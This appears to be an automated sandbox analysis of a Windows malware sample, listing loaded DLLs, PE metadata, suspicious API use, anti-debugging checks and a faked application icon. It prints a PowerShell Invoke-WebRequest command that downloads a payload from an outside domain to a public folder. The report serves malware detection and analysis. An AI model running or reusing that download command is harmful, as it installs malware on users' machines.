Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netapi32.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: elyho3x5zz.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: elyho3x5zz.exe

Static file information: File size 1083904 > 1048576

Source: elyho3x5zz.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: elyho3x5zz.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: elyho3x5zz.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: elyho3x5zz.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: elyho3x5zz.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: elyho3x5zz.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: elyho3x5zz.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: elyho3x5zz.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: elyho3x5zz.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: elyho3x5zz.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: elyho3x5zz.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: elyho3x5zz.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: elyho3x5zz.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\Desktop\elyho3x5zz.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe""
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe""			Jump to behavior

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A2432F4 LoadLibraryA,GetProcAddress,

0_2_00007FF73A2432F4

Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A207399 push rdi; ret		0_2_00007FF73A2073A2
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A2078FD push rdi; ret		0_2_00007FF73A207904

Hooking and other Techniques for Hiding and Protection

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Source: initial sample

Icon embedded in binary file: icon matches a legit application icon: download (132).png

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A1F4514 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_00007FF73A1F4514

Source: C:\Users\user\Desktop\elyho3x5zz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5440			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3141			Jump to behavior

Source: C:\Users\user\Desktop\elyho3x5zz.exe

API coverage: 3.8 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1216	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6720	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7156	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2656	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A24C7C0 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00007FF73A24C7C0
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A24BC70 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00007FF73A24BC70
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A2571F4 FindFirstFileW,FindClose,	0_2_00007FF73A2571F4
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A2572A8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,	0_2_00007FF73A2572A8
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A24B7C0 FindFirstFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00007FF73A24B7C0
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A212F50 FindFirstFileExW,	0_2_00007FF73A212F50
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A25A350 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	0_2_00007FF73A25A350
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A256428 FindFirstFileW,FindNextFileW,FindClose,	0_2_00007FF73A256428
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A25A4F8 FindFirstFileW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	0_2_00007FF73A25A4F8
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A25A874 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00007FF73A25A874

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A1F1D80 GetVersionExW,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetSystemInfo,FreeLibrary,

0_2_00007FF73A1F1D80

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A260A00 BlockInput,

0_2_00007FF73A260A00

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A1D37B0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00007FF73A1D37B0

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A1F5BC0 GetLastError,IsDebuggerPresent,OutputDebugStringW,

0_2_00007FF73A1F5BC0

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A2432F4 LoadLibraryA,GetProcAddress,

0_2_00007FF73A2432F4

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A23D408 LookupPrivilegeValueW,GetProcessHeap,HeapFree,

0_2_00007FF73A23D408

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A1F59C8 SetUnhandledExceptionFilter,	0_2_00007FF73A1F59C8
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A1F57E4 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF73A1F57E4
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A20AF58 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF73A20AF58
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A218FE4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF73A218FE4

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A23CE68 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00007FF73A23CE68

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A1D37B0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00007FF73A1D37B0

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A249420 SendInput,keybd_event,

0_2_00007FF73A249420

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A24D158 mouse_event,

0_2_00007FF73A24D158

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A23C858 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00007FF73A23C858

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A23D540 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00007FF73A23D540

Source: elyho3x5zz.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: elyho3x5zz.exe	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A20FD20 cpuid

0_2_00007FF73A20FD20

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
